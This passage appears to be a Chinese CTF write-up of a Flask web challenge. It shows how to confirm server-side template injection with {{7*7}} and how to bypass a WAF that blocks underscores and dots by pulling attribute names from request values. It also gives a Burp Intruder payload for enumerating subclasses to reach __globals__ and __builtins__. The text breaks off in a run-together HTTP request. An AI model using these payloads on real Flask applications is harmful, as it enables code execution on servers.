web共有4题,能力有限,只做出了3题。这里简单介绍一下题解过程
flask
题目告诉了web框架是flask,故开题直接老规矩,寻找SSTI。而考点重灾区,页面肯定是第一时间要尝试的。
寻找页面:
发现页面会将地址信息填充到页面内,直接{{7*7}}尝试,如果返回49则代表此处极有可能存在SSTI漏洞。
BINGO。接下来尝试从基类寻找危险函数了。
在此过程中发现题目存在WAF,对于存在下划线_与点号.的URL会被WAF拦截。
对于下划线我们可以通过请求代换给他去掉,如
POST/{{""[request["values"]["class"]]}}class=__class__
上述payload相当于:
GET/{{"".__class__}}
寻找可用的类(通过Burp的Intruder爆破):
POST/%7B%7B"[request["values"]["class"]][request["values"]["mro"]][request["values"]["subclass"]]()[§§][request["values"]["init"]][request["values"]["globals"]][request["values"]["builtins"]]%7D%7DHTTP/1.1Host
.x.x.x:User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/.36(KHTML,likeGecko)Chrome/84.0..89Safari/.36Content-Type:application/x-